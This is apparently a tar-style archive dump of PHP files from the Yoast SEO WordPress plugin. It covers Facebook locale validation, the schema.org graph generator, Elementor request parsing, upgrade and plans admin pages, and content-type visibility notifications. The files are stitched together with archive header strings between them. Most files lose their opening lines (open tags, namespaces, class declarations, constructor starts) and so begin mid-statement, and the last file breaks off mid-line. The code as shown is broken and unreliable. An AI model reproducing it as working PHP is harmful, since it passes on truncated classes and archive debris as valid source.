'la_VA', // Latin. 'lg_UG', // Ganda. 'li_NL', // Limburgish. 'ln_CD', // Lingala. 'lo_LA', // Lao. 'lt_LT', // Lithuanian. 'lv_LV', // Latvian. 'mg_MG', // Malagasy. 'mi_NZ', // Maori. 'mk_MK', // Macedonian. 'ml_IN', // Malayalam. 'mn_MN', // Mongolian. 'mr_IN', // Marathi. 'ms_MY', // Malay. 'mt_MT', // Maltese. 'my_MM', // Burmese. 'nb_NO', // Norwegian (bokmal). 'nd_ZW', // Ndebele. 'ne_NP', // Nepali. 'nl_BE', // Dutch (Belgie). 'nl_NL', // Dutch. 'nn_NO', // Norwegian (nynorsk). 'nr_ZA', // Southern Ndebele. 'ns_ZA', // Northern Sotho. 'ny_MW', // Chewa. 'om_ET', // Oromo. 'or_IN', // Oriya. 'pa_IN', // Punjabi. 'pl_PL', // Polish. 'ps_AF', // Pashto. 'pt_BR', // Portuguese (Brazil). 'pt_PT', // Portuguese (Portugal). 'qc_GT', // Quiché. 'qu_PE', // Quechua. 'qr_GR', 'qz_MM', // Burmese (Zawgyi). 'rm_CH', // Romansh. 'ro_RO', // Romanian. 'ru_RU', // Russian. 'rw_RW', // Kinyarwanda. 'sa_IN', // Sanskrit. 'sc_IT', // Sardinian. 'se_NO', // Northern Sami. 'si_LK', // Sinhala. 'su_ID', // Sundanese. 'sk_SK', // Slovak. 'sl_SI', // Slovenian. 'sn_ZW', // Shona. 'so_SO', // Somali. 'sq_AL', // Albanian. 'sr_RS', // Serbian. 'ss_SZ', // Swazi. 'st_ZA', // Southern Sotho. 'sv_SE', // Swedish. 'sw_KE', // Swahili. 'sy_SY', // Syriac. 'sz_PL', // Silesian. 'ta_IN', // Tamil. 'te_IN', // Telugu. 'tg_TJ', // Tajik. 'th_TH', // Thai. 'tk_TM', // Turkmen. 'tl_PH', // Filipino. 'tl_ST', // Klingon. 'tn_BW', // Tswana. 'tr_TR', // Turkish. 'ts_ZA', // Tsonga. 'tt_RU', // Tatar. 'tz_MA', // Tamazight. 'uk_UA', // Ukrainian. 'ur_PK', // Urdu. 'uz_UZ', // Uzbek. 've_ZA', // Venda. 'vi_VN', // Vietnamese. 'wo_SN', // Wolof. 'xh_ZA', // Xhosa. 'yi_DE', // Yiddish. 'yo_NG', // Yoruba. 'zh_CN', // Simplified Chinese (China). 'zh_HK', // Traditional Chinese (Hong Kong). 'zh_TW', // Traditional Chinese (Taiwan). 'zu_ZA', // Zulu. 'zz_TR', // Zazaki. ]; // Check to see if the locale is a valid FB one, if not, use en_US as a fallback. if ( \in_array( $locale, $fb_valid_fb_locales, true ) ) { return $locale; } $locale = \strtolower( \substr( $locale, 0, 2 ) ) . '_' . \strtoupper( \substr( $locale, 0, 2 ) ); if ( ! \in_array( $locale, $fb_valid_fb_locales, true ) ) { return 'en_US'; } return $locale; } } generators/schema-generator.php000064400000032631152076257630012674 0ustar00helpers = $helpers; $this->schema_replace_vars_helper = $schema_replace_vars_helper; } /** * Returns a Schema graph array. * * @param Meta_Tags_Context $context The meta tags context. * * @return array The graph. */ public function generate( Meta_Tags_Context $context ) { $pieces = $this->get_graph_pieces( $context ); $this->schema_replace_vars_helper->register_replace_vars( $context ); foreach ( \array_keys( $context->blocks ) as $block_type ) { /** * Filter: 'wpseo_pre_schema_block_type_' - Allows hooking things to change graph output based on the blocks on the page. * * @param WP_Block_Parser_Block[] $blocks All the blocks of this block type. * @param Meta_Tags_Context $context A value object with context variables. */ \do_action( 'wpseo_pre_schema_block_type_' . $block_type, $context->blocks[ $block_type ], $context ); } // Do a loop before everything else to inject the context and helpers. foreach ( $pieces as $piece ) { if ( \is_a( $piece, Abstract_Schema_Piece::class ) ) { $piece->context = $context; $piece->helpers = $this->helpers; } } $pieces_to_generate = $this->filter_graph_pieces_to_generate( $pieces ); $graph = $this->generate_graph( $pieces_to_generate, $context ); $graph = $this->add_schema_blocks_graph_pieces( $graph, $context ); $graph = $this->finalize_graph( $graph, $context ); return [ '@context' => 'https://schema.org', '@graph' => $graph, ]; } /** * Filters out any graph pieces that should not be generated. * (Using the `wpseo_schema_needs_` series of filters). * * @param array $graph_pieces The current list of graph pieces that we want to generate. * * @return array The graph pieces to generate. */ protected function filter_graph_pieces_to_generate( $graph_pieces ) { $pieces_to_generate = []; foreach ( $graph_pieces as $piece ) { $identifier = \strtolower( \str_replace( 'Yoast\WP\SEO\Generators\Schema\\', '', \get_class( $piece ) ) ); if ( isset( $piece->identifier ) ) { $identifier = $piece->identifier; } /** * Filter: 'wpseo_schema_needs_' - Allows changing which graph pieces we output. * * @param bool $is_needed Whether or not to show a graph piece. */ $is_needed = \apply_filters( 'wpseo_schema_needs_' . $identifier, $piece->is_needed() ); if ( ! $is_needed ) { continue; } $pieces_to_generate[ $identifier ] = $piece; } return $pieces_to_generate; } /** * Generates the schema graph. * * @param array $graph_piece_generators The schema graph pieces to generate. * @param Meta_Tags_Context $context The meta tags context to use. * * @return array The generated schema graph. */ protected function generate_graph( $graph_piece_generators, $context ) { $graph = []; foreach ( $graph_piece_generators as $identifier => $graph_piece_generator ) { $graph_pieces = $graph_piece_generator->generate(); // If only a single graph piece was returned. if ( $graph_pieces !== false && \array_key_exists( '@type', $graph_pieces ) ) { $graph_pieces = [ $graph_pieces ]; } if ( ! \is_array( $graph_pieces ) ) { continue; } foreach ( $graph_pieces as $graph_piece ) { /** * Filter: 'wpseo_schema_' - Allows changing graph piece output. * This filter can be called with either an identifier or a block type (see `add_schema_blocks_graph_pieces()`). * * @param array $graph_piece The graph piece to filter. * @param Meta_Tags_Context $context A value object with context variables. * @param Abstract_Schema_Piece $graph_piece_generator A value object with context variables. * @param Abstract_Schema_Piece[] $graph_piece_generators A value object with context variables. */ $graph_piece = \apply_filters( 'wpseo_schema_' . $identifier, $graph_piece, $context, $graph_piece_generator, $graph_piece_generators ); $graph_piece = $this->type_filter( $graph_piece, $identifier, $context, $graph_piece_generator, $graph_piece_generators ); $graph_piece = $this->validate_type( $graph_piece ); if ( \is_array( $graph_piece ) ) { $graph[] = $graph_piece; } } } /** * Filter: 'wpseo_schema_graph' - Allows changing graph output. * * @param array $graph The graph to filter. * @param Meta_Tags_Context $context A value object with context variables. */ $graph = \apply_filters( 'wpseo_schema_graph', $graph, $context ); return $graph; } /** * Adds schema graph pieces from Gutenberg blocks on the current page to * the given schema graph. * * Think of blocks like the Yoast FAQ block or the How To block. * * @param array $graph The current schema graph. * @param Meta_Tags_Context $context The meta tags context. * * @return array The graph with the schema blocks graph pieces added. */ protected function add_schema_blocks_graph_pieces( $graph, $context ) { foreach ( $context->blocks as $block_type => $blocks ) { foreach ( $blocks as $block ) { $block_type = \strtolower( $block['blockName'] ); /** * Filter: 'wpseo_schema_block_'. * This filter is documented in the `generate_graph()` function in this class. */ $graph = \apply_filters( 'wpseo_schema_block_' . $block_type, $graph, $block, $context ); if ( isset( $block['attrs']['yoast-schema'] ) ) { $graph[] = $this->schema_replace_vars_helper->replace( $block['attrs']['yoast-schema'], $context->presentation ); } } } return $graph; } /** * Finalizes the schema graph after all filtering is done. * * @param array $graph The current schema graph. * @param Meta_Tags_Context $context The meta tags context. * * @return array The schema graph. */ protected function finalize_graph( $graph, $context ) { $graph = $this->remove_empty_breadcrumb( $graph, $context ); return $graph; } /** * Removes the breadcrumb schema if empty. * * @param array $graph The current schema graph. * @param Meta_Tags_Context $context The meta tags context. * * @return array The schema graph with empty breadcrumbs taken out. */ protected function remove_empty_breadcrumb( $graph, $context ) { if ( $this->helpers->current_page->is_home_static_page() || $this->helpers->current_page->is_home_posts_page() ) { return $graph; } // Remove the breadcrumb piece, if it's empty. $index_to_remove = 0; foreach ( $graph as $key => $piece ) { if ( \in_array( 'BreadcrumbList', $this->get_type_from_piece( $piece ), true ) ) { if ( isset( $piece['itemListElement'] ) && \is_array( $piece['itemListElement'] ) && \count( $piece['itemListElement'] ) === 1 ) { $index_to_remove = $key; break; } } } // If the breadcrumb piece has been removed, we should remove its reference from the WebPage node. if ( $index_to_remove !== 0 ) { \array_splice( $graph, $index_to_remove, 1 ); // Get the type of the WebPage node. $webpage_types = \is_array( $context->schema_page_type ) ? $context->schema_page_type : [ $context->schema_page_type ]; foreach ( $graph as $key => $piece ) { if ( ! empty( \array_intersect( $webpage_types, $this->get_type_from_piece( $piece ) ) ) && isset( $piece['breadcrumb'] ) ) { unset( $piece['breadcrumb'] ); $graph[ $key ] = $piece; } } } return $graph; } /** * Adapts the WebPage graph piece for password-protected posts. * * It should only have certain whitelisted properties. * The type should always be WebPage. * * @param array $graph_piece The WebPage graph piece that should be adapted for password-protected posts. * * @return array The WebPage graph piece that has been adapted for password-protected posts. */ public function protected_webpage_schema( $graph_piece ) { $properties_to_show = \array_flip( [ '@type', '@id', 'url', 'name', 'isPartOf', 'inLanguage', 'datePublished', 'dateModified', 'breadcrumb', ], ); $graph_piece = \array_intersect_key( $graph_piece, $properties_to_show ); $graph_piece['@type'] = 'WebPage'; return $graph_piece; } /** * Gets all the graph pieces we need. * * @param Meta_Tags_Context $context The meta tags context. * * @return Abstract_Schema_Piece[] A filtered array of graph pieces. */ protected function get_graph_pieces( $context ) { if ( $context->indexable->object_type === 'post' && \post_password_required( $context->post ) ) { $schema_pieces = [ new Schema\WebPage(), new Schema\Website(), new Schema\Organization(), ]; \add_filter( 'wpseo_schema_webpage', [ $this, 'protected_webpage_schema' ], 1 ); } else { $schema_pieces = [ new Schema\Article(), new Schema\WebPage(), new Schema\Main_Image(), new Schema\Breadcrumb(), new Schema\Website(), new Schema\Organization(), new Schema\Person(), new Schema\Author(), new Schema\FAQ(), new Schema\HowTo(), ]; } /** * Filter: 'wpseo_schema_graph_pieces' - Allows adding pieces to the graph. * * @param array $pieces The schema pieces. * @param Meta_Tags_Context $context An object with context variables. */ return \apply_filters( 'wpseo_schema_graph_pieces', $schema_pieces, $context ); } /** * Allows filtering the graph piece by its schema type. * * Note: We removed the Abstract_Schema_Piece type-hint from the $graph_piece_generator argument, because * it caused conflicts with old code, Yoast SEO Video specifically. * * @param array $graph_piece The graph piece we're filtering. * @param string $identifier The identifier of the graph piece that is being filtered. * @param Meta_Tags_Context $context The meta tags context. * @param Abstract_Schema_Piece $graph_piece_generator A value object with context variables. * @param Abstract_Schema_Piece[] $graph_piece_generators A value object with context variables. * * @return array The filtered graph piece. */ private function type_filter( $graph_piece, $identifier, Meta_Tags_Context $context, $graph_piece_generator, array $graph_piece_generators ) { $types = $this->get_type_from_piece( $graph_piece ); foreach ( $types as $type ) { $type = \strtolower( $type ); // Prevent running the same filter twice. This makes sure we run f/i. for 'author' and for 'person'. if ( $type && $type !== $identifier ) { /** * Filter: 'wpseo_schema_' - Allows changing graph piece output by @type. * * @param array $graph_piece The graph piece to filter. * @param Meta_Tags_Context $context A value object with context variables. * @param Abstract_Schema_Piece $graph_piece_generator A value object with context variables. * @param Abstract_Schema_Piece[] $graph_piece_generators A value object with context variables. */ $graph_piece = \apply_filters( 'wpseo_schema_' . $type, $graph_piece, $context, $graph_piece_generator, $graph_piece_generators ); } } return $graph_piece; } /** * Retrieves the type from a graph piece. * * @param array $piece The graph piece. * * @return array An array of the piece's types. */ private function get_type_from_piece( $piece ) { if ( isset( $piece['@type'] ) ) { if ( \is_array( $piece['@type'] ) ) { // Return as-is, but remove unusable values, like sub-arrays, objects, null. return \array_filter( $piece['@type'], 'is_string' ); } return [ $piece['@type'] ]; } return []; } /** * Validates a graph piece's type. * * When the type is an array: * - Ensure the values are unique. * - Only 1 value? Use that value without the array wrapping. * * @param array $piece The graph piece. * * @return array The graph piece. */ private function validate_type( $piece ) { if ( ! isset( $piece['@type'] ) ) { // No type to validate. return $piece; } // If it is not an array, we can return immediately. if ( ! \is_array( $piece['@type'] ) ) { return $piece; } /* * Ensure the types are unique. * Use array_values to reset the indices (e.g. no 0, 2 because 1 was a duplicate). */ $piece['@type'] = \array_values( \array_unique( $piece['@type'] ) ); // Use the first value if there is only 1 type. if ( \count( $piece['@type'] ) === 1 ) { $piece['@type'] = \reset( $piece['@type'] ); } return $piece; } } elementor/infrastructure/request-post.php000064400000011161152076257640015020 0ustar00get_post_id() ); } /** * Retrieves the post ID, applicable to the current request. * * @return int|null The post ID. */ public function get_post_id(): ?int { switch ( $this->get_server_request_method() ) { case 'GET': // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['post'] ) && \is_numeric( $_GET['post'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Recommended -- Reason: No sanitization needed because we cast to an integer,We are not processing form information. return (int) \wp_unslash( $_GET['post'] ); } break; case 'POST': // Only allow POST requests when doing AJAX. if ( ! \wp_doing_ajax() ) { break; } switch ( $this->get_post_action() ) { // Our Yoast SEO form submission, it should include `post_id`. case 'wpseo_elementor_save': // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information. if ( isset( $_POST['post_id'] ) && \is_numeric( $_POST['post_id'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Missing -- Reason: No sanitization needed because we cast to an integer,We are not processing form information. return (int) \wp_unslash( $_POST['post_id'] ); } break; // Elementor editor AJAX request. case 'elementor_ajax': return $this->get_document_id(); } break; } return null; } /** * Returns the server request method. * * @return string|null The server request method, in upper case. */ private function get_server_request_method(): ?string { if ( ! isset( $_SERVER['REQUEST_METHOD'] ) ) { return null; } if ( ! \is_string( $_SERVER['REQUEST_METHOD'] ) ) { return null; } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only comparing it later. return \strtoupper( \wp_unslash( $_SERVER['REQUEST_METHOD'] ) ); } /** * Retrieves the action from the POST request. * * @return string|null The action or null if not found. */ private function get_post_action(): ?string { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information. if ( isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, we are only strictly comparing. return (string) \wp_unslash( $_POST['action'] ); } return null; } /** * Retrieves the document ID from the POST request. * * Note: this is specific to Elementor' `elementor_ajax` action. And then the `get_document_config` internal action. * Currently, you can see this in play when: * - showing the Site Settings in the Elementor editor * - going to another Recent post/page in the Elementor editor V2 * * @return int|null The document ID or null if not found. */ private function get_document_id(): ?int { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information. if ( ! ( isset( $_POST['actions'] ) && \is_string( $_POST['actions'] ) ) ) { return null; } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.NonceVerification.Missing -- Reason: No sanitization needed because we cast to an integer (after JSON decode and type/exist checks),We are not processing form information. $actions = \json_decode( \wp_unslash( $_POST['actions'] ), true ); if ( ! \is_array( $actions ) ) { return null; } // Elementor sends everything in a `document-{ID}` format. $action = \array_shift( $actions ); if ( $action === null ) { return null; } // There are multiple action types. We only care about the "get_document_config" one. if ( ! ( isset( $action['action'] ) && $action['action'] === 'get_document_config' ) ) { return null; } // Return the ID from the data, if it is set and numeric. if ( isset( $action['data']['id'] ) && \is_numeric( $action['data']['id'] ) ) { return (int) $action['data']['id']; } return null; } } plans/domain/add-ons/premium.php000064400000001562152076257640012666 0ustar00 */ private $add_ons; /** * Holds the WPSEO_Addon_Manager. * * @var WPSEO_Addon_Manager */ private $addon_manager; /** * Constructs the instance. * * @param WPSEO_Addon_Manager $addon_manager The WPSEO_Addon_Manager. * @param Add_On_Interface ...$add_ons All add-ons. */ public function __construct( WPSEO_Addon_Manager $addon_manager, Add_On_Interface ...$add_ons ) { $this->addon_manager = $addon_manager; $this->add_ons = $add_ons; } /** * Returns all the add-ons. * * @return array All the add-ons. */ public function get(): array { return $this->add_ons; } /** * Returns the data for the add-ons in an array format. * * @return array> The add-ons in an array format. */ public function to_array(): array { $result = []; $active_addons = $this->addon_manager->has_active_addons(); foreach ( $this->add_ons as $add_on ) { $result[ $add_on->get_id() ] = [ 'id' => $add_on->get_id(), 'isActive' => $add_on->is_active(), 'hasLicense' => $active_addons && $add_on->has_license(), 'ctb' => [ 'action' => $add_on->get_ctb_action(), 'id' => $add_on->get_ctb_id(), ], ]; } return $result; } } plans/application/duplicate-post-manager.php000064400000002415152076257650015263 0ustar00 The list of params. */ public function get_params() { return [ 'isInstalled' => $this->is_installed(), 'isActivated' => $this->is_activated(), 'installationUrl' => \html_entity_decode( WPSEO_Admin_Utils::get_install_url( self::PLUGIN_FILE ) ), 'activationUrl' => \html_entity_decode( WPSEO_Admin_Utils::get_activation_url( self::PLUGIN_FILE ) ), ]; } } plans/infrastructure/add-ons/managed-add-on.php000064400000002676152076257650015565 0ustar00addon_manager = $addon_manager; } /** * Returns whether the add-on is installed and activated. * * @return bool */ public function is_active(): bool { return $this->addon_manager->is_installed( static::SLUG ); } /** * Returns whether the add-on has an valid license. * * @return bool */ public function has_license(): bool { return $this->addon_manager->has_valid_subscription( static::SLUG ); } } plans/user-interface/upgrade-sidebar-menu-integration.php000064400000011332152076257650017646 0ustar00woocommerce_conditional = $woocommerce_conditional; $this->shortlinker = $shortlinker; $this->product_helper = $product_helper; $this->current_page_helper = $current_page_helper; $this->promotion_manager = $promotion_manager; $this->addon_manager = $addon_manager; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { // Add page with PHP_INT_MAX - 1 to allow other items (like Brand Insights) to be positioned after. \add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ], ( \PHP_INT_MAX - 1 ) ); \add_filter( 'wpseo_network_submenu_pages', [ $this, 'add_page' ], ( \PHP_INT_MAX - 1 ) ); \add_action( 'admin_init', [ $this, 'do_redirect' ], 1 ); } /** * Adds the page to the (currently) last position in the array. * * @param array>> $pages The pages. * * @return array>> The pages. */ public function add_page( $pages ) { // Don't show the Upgrade button if Yoast SEO WooCommerce addon is active. if ( $this->addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) ) { return $pages; } // Don't show the Upgrade button if Premium is active without the WooCommerce plugin. if ( $this->product_helper->is_premium() && ! $this->woocommerce_conditional->is_met() ) { return $pages; } $button_content = \__( 'Upgrade', 'wordpress-seo' ); if ( $this->promotion_manager->is( 'black-friday-promotion' ) ) { $button_content = ( $this->product_helper->is_premium() ) ? \__( 'Get 30% off', 'wordpress-seo' ) : \__( '30% off - BF Sale', 'wordpress-seo' ); } $pages[] = [ General_Page_Integration::PAGE, '', '' . $button_content . ' ', 'wpseo_manage_options', self::PAGE, static function () { echo 'redirecting...'; }, ]; return $pages; } /** * Redirects to the yoast.com. * * @return void */ public function do_redirect(): void { if ( $this->current_page_helper->get_current_yoast_seo_page() !== self::PAGE ) { return; } $link = $this->shortlinker->build_shortlink( 'https://yoa.st/wordpress-menu-upgrade-premium' ); if ( $this->woocommerce_conditional->is_met() ) { $link = $this->shortlinker->build_shortlink( 'https://yoa.st/wordpress-menu-upgrade-woocommerce' ); } \wp_redirect( $link );//phpcs:ignore WordPress.Security.SafeRedirect.wp_redirect_wp_redirect -- Safe redirect is used here. exit(); } } plans/user-interface/plans-page-integration.php000064400000013234152076257650015700 0ustar00asset_manager = $asset_manager; $this->add_ons_collector = $add_ons_collector; $this->current_page_helper = $current_page_helper; $this->short_link_helper = $short_link_helper; $this->admin_conditional = $admin_conditional; $this->promotion_manager = $promotion_manager; $this->duplicate_post_manager = $duplicate_post_manager; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { // Add page with priority 7 to add it above the workouts. \add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ], 7 ); \add_filter( 'wpseo_network_submenu_pages', [ $this, 'add_page' ], 7 ); // Are we on our page? if ( $this->admin_conditional->is_met() && $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) { \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); \add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX ); } } /** * Adds the page to the (currently) last position in the array. * * @param array>> $pages The pages. * * @return array>> The pages. */ public function add_page( $pages ) { $pages[] = [ General_Page_Integration::PAGE, '', \__( 'Plans', 'wordpress-seo' ), 'wpseo_manage_options', self::PAGE, [ $this, 'display_page' ], ]; return $pages; } /** * Displays the page. * * @return void */ public function display_page() { echo '
      '; } /** * Enqueues the assets. * * @return void */ public function enqueue_assets() { // Remove the emoji script as it is incompatible with both React and any contenteditable fields. \remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); $this->asset_manager->enqueue_script( self::ASSETS_NAME ); $this->asset_manager->enqueue_style( self::ASSETS_NAME ); $this->asset_manager->localize_script( self::ASSETS_NAME, 'wpseoScriptData', $this->get_script_data() ); } /** * Creates the script data. * * @return array>> The script data. */ private function get_script_data(): array { return [ 'addOns' => $this->add_ons_collector->to_array(), 'linkParams' => $this->short_link_helper->get_query_params(), 'preferences' => [ 'isRtl' => \is_rtl(), ], 'currentPromotions' => $this->promotion_manager->get_current_promotions(), 'duplicatePost' => $this->duplicate_post_manager->get_params(), 'userCan' => [ 'installPlugin' => \current_user_can( 'install_plugins' ), 'activatePlugin' => \current_user_can( 'activate_plugins' ), ], ]; } /** * Removes all current WP notices. * * @return void */ public function remove_notices() { \remove_all_actions( 'admin_notices' ); \remove_all_actions( 'user_admin_notices' ); \remove_all_actions( 'network_admin_notices' ); \remove_all_actions( 'all_admin_notices' ); } } content-type-visibility/application/content-type-visibility-watcher-actions.php000064400000013751152076257650024333 0ustar00options = $options; $this->notification_center = $notification_center; $this->content_type_dismiss_notifications = $content_type_dismiss_notifications; } /** * Returns the conditionals based on which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Initializes the integration. * * Register actions that are used in the post types and taxonomies indexable watcher. * * @return void */ public function register_hooks() { // Used in Idexable_Post_Type_Change_Watcher class. \add_action( 'new_public_post_type_notifications', [ $this, 'new_post_type' ], 10, 1 ); \add_action( 'clean_new_public_post_type_notifications', [ $this, 'clean_new_public_post_type' ], 10, 1 ); // Used in Idexable_Taxonomy_Change_Watcher class. \add_action( 'new_public_taxonomy_notifications', [ $this, 'new_taxonomy' ], 10, 1 ); \add_action( 'clean_new_public_taxonomy_notifications', [ $this, 'clean_new_public_taxonomy' ], 10, 1 ); } /** * Update db and tigger notification when a new post type is registered. * * @param array $newly_made_public_post_types The newly made public post types. * @return void */ public function new_post_type( $newly_made_public_post_types ) { $this->options->set( 'new_post_types', $newly_made_public_post_types ); $this->options->set( 'show_new_content_type_notification', true ); $this->maybe_add_notification(); } /** * Update db when a post type is made removed. * * @param array $newly_made_non_public_post_types The newly made non public post types. * @return void */ public function clean_new_public_post_type( $newly_made_non_public_post_types ) { // See if post types that needs review were removed and update option. $needs_review = $this->options->get( 'new_post_types', [] ); $new_needs_review = \array_diff( $needs_review, $newly_made_non_public_post_types ); if ( \count( $new_needs_review ) !== \count( $needs_review ) ) { $this->options->set( 'new_post_types', $new_needs_review ); $this->content_type_dismiss_notifications->maybe_dismiss_notifications( [ 'new_post_types' => $new_needs_review ] ); } } /** * Update db and tigger notification when a new taxonomy is registered. * * @param array $newly_made_public_taxonomies The newly made public post types. * @return void */ public function new_taxonomy( $newly_made_public_taxonomies ) { $this->options->set( 'new_taxonomies', $newly_made_public_taxonomies ); $this->options->set( 'show_new_content_type_notification', true ); $this->maybe_add_notification(); } /** * Update db when a post type is made removed. * * @param array $newly_made_non_public_taxonomies The newly made non public post types. * @return void */ public function clean_new_public_taxonomy( $newly_made_non_public_taxonomies ) { // See if post types that needs review were removed and update option. $needs_review = $this->options->get( 'new_taxonomies', [] ); $new_needs_review = \array_diff( $needs_review, $newly_made_non_public_taxonomies ); if ( \count( $new_needs_review ) !== \count( $needs_review ) ) { $this->options->set( 'new_taxonomies', $new_needs_review ); $this->content_type_dismiss_notifications->maybe_dismiss_notifications( [ 'new_taxonomies' => $new_needs_review ] ); } } /** * Decides if a notification should be added in the notification center. * * @return void */ public function maybe_add_notification() { $notification = $this->notification_center->get_notification_by_id( 'content-types-made-public' ); if ( $notification === null ) { $this->add_notification(); } } /** * Adds a notification to be shown on the next page request since posts are updated in an ajax request. * * @return void */ private function add_notification() { $message = \sprintf( /* translators: 1: Opening tag of the link to the Search appearance settings page, 2: Link closing tag. */ \esc_html__( 'You\'ve added a new type of content. We recommend that you review the corresponding %1$sSearch appearance settings%2$s.', 'wordpress-seo' ), '', '', ); $notification = new Yoast_Notification( $message, [ 'type' => Yoast_Notification::WARNING, 'id' => 'content-types-made-public', 'capabilities' => 'wpseo_manage_options', 'priority' => 0.8, ], ); $this->notification_center->add_notification( $notification ); } } content-type-visibility/application/content-type-visibility-dismiss-notifications.php000064400000010522152076257660025554 0ustar00options = $options; } /** * Removes New badge from a post type in the Settings, remove notifications if needed. * * @param string $post_type_name The post type name from the request. * @return array The response. */ public function post_type_dismiss( $post_type_name ) { $success = true; $message = \__( 'Post type is not new.', 'wordpress-seo' ); $post_types_needs_review = $this->options->get( 'new_post_types', [] ); if ( $post_types_needs_review && \in_array( $post_type_name, $post_types_needs_review, true ) ) { $new_needs_review = \array_diff( $post_types_needs_review, [ $post_type_name ] ); $success = $this->options->set( 'new_post_types', $new_needs_review ); $message = ( $success ) ? \__( 'Post type is no longer new.', 'wordpress-seo' ) : \__( 'Error: Post type was not removed from new_post_types list.', 'wordpress-seo' ); if ( $success ) { $this->maybe_dismiss_notifications( [ 'new_post_types' => $new_needs_review ] ); } } $status = ( $success ) ? 200 : 400; return [ 'message' => $message, 'success' => $success, 'status' => $status, ]; } /** * Removes New badge from a taxonomy in the Settings, remove notifications if needed. * * @param string $taxonomy_name The taxonomy name from the request. * @return array The response. */ public function taxonomy_dismiss( $taxonomy_name ) { $success = true; $message = \__( 'Taxonomy is not new.', 'wordpress-seo' ); $taxonomies_needs_review = $this->options->get( 'new_taxonomies', [] ); if ( \in_array( $taxonomy_name, $taxonomies_needs_review, true ) ) { $new_needs_review = \array_diff( $taxonomies_needs_review, [ $taxonomy_name ] ); $success = $this->options->set( 'new_taxonomies', $new_needs_review ); $message = ( $success ) ? \__( 'Taxonomy is no longer new.', 'wordpress-seo' ) : \__( 'Error: Taxonomy was not removed from new_taxonomies list.', 'wordpress-seo' ); if ( $success ) { $this->maybe_dismiss_notifications( [ 'new_taxonomies' => $new_needs_review ] ); } } $status = ( $success ) ? 200 : 400; return [ 'message' => $message, 'success' => $success, 'status' => $status, ]; } /** * Checks if there are new content types or taxonomies. * * @param array $new_content_types The new content types. * @return void */ public function maybe_dismiss_notifications( $new_content_types = [] ) { $post_types_needs_review = ( \array_key_exists( 'new_post_types', $new_content_types ) ) ? $new_content_types['new_post_types'] : $this->options->get( 'new_post_types', [] ); $taxonomies_needs_review = ( \array_key_exists( 'new_taxonomies', $new_content_types ) ) ? $new_content_types['new_taxonomies'] : $this->options->get( 'new_taxonomies', [] ); if ( $post_types_needs_review || $taxonomies_needs_review ) { return; } $this->dismiss_notifications(); } /** * Dismisses the notification in the notification center when there are no more new content types. * * @return bool */ public function dismiss_notifications() { $notification_center = Yoast_Notification_Center::get(); $notification_center->remove_notification_by_id( 'content-types-made-public' ); return $this->options->set( 'show_new_content_type_notification', false ); } /** * Check if there is a new content type to show notification only once in the settings. * * @return bool Should the notification be shown. */ public function maybe_add_settings_notification() { $show_new_content_type_notification = $this->options->get( 'show_new_content_type_notification', false ); if ( $show_new_content_type_notification ) { $this->options->set( 'show_new_content_type_notification', false ); } return $show_new_content_type_notification; } } content-type-visibility/user-interface/content-type-visibility-dismiss-new-route.php000064400000010414152076257660025241 0ustar00dismiss_notifications = $dismiss_notifications; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $post_type_dismiss_route_args = [ 'methods' => 'POST', 'callback' => [ $this, 'post_type_dismiss_callback' ], 'permission_callback' => [ $this, 'can_dismiss' ], 'args' => [ 'postTypeName' => [ 'validate_callback' => [ $this, 'validate_post_type' ], ], ], ]; $taxonomy_dismiss_route_args = [ 'methods' => 'POST', 'callback' => [ $this, 'taxonomy_dismiss_callback' ], 'permission_callback' => [ $this, 'can_dismiss' ], 'args' => [ 'taxonomyName' => [ 'validate_callback' => [ $this, 'validate_taxonomy' ], ], ], ]; \register_rest_route( Main::API_V1_NAMESPACE, self::POST_TYPE_DISMISS_ROUTE, $post_type_dismiss_route_args ); \register_rest_route( Main::API_V1_NAMESPACE, self::TAXONOMY_DISMISS_ROUTE, $taxonomy_dismiss_route_args ); } /** * Whether or not the current user is allowed to dismiss alerts. * * @return bool Whether or not the current user is allowed to dismiss alerts. */ public function can_dismiss() { return \current_user_can( 'edit_posts' ); } /** * Validates post type. * * @param string $param The parameter. * @param WP_REST_Request $request Full details about the request. * @param string $key The key. * * @return bool */ public function validate_post_type( $param, $request, $key ) { return \post_type_exists( $param ); } /** * Wrapper method for Content_Type_Visibility_Dismiss_Notifications::post_type_dismiss(). * * @param WP_REST_Request $request The request. This request should have a key param set. * * @return WP_REST_Response The response. */ public function post_type_dismiss_callback( $request ) { $response = $this->dismiss_notifications->post_type_dismiss( $request['post_type_name'] ); return new WP_REST_Response( (object) $response, $response['status'], ); } /** * Validates taxonomy. * * @param string $param The parameter. * @param WP_REST_Request $request Full details about the request. * @param string $key The key. * * @return bool */ public function validate_taxonomy( $param, $request, $key ) { return \taxonomy_exists( $param ); } /** * Wrapper method for Content_Type_Visibility_Dismiss_Notifications::taxonomy_dismiss(). * * @param WP_REST_Request $request The request. This request should have a key param set. * * @return WP_REST_Response The response. */ public function taxonomy_dismiss_callback( WP_REST_Request $request ) { $response = 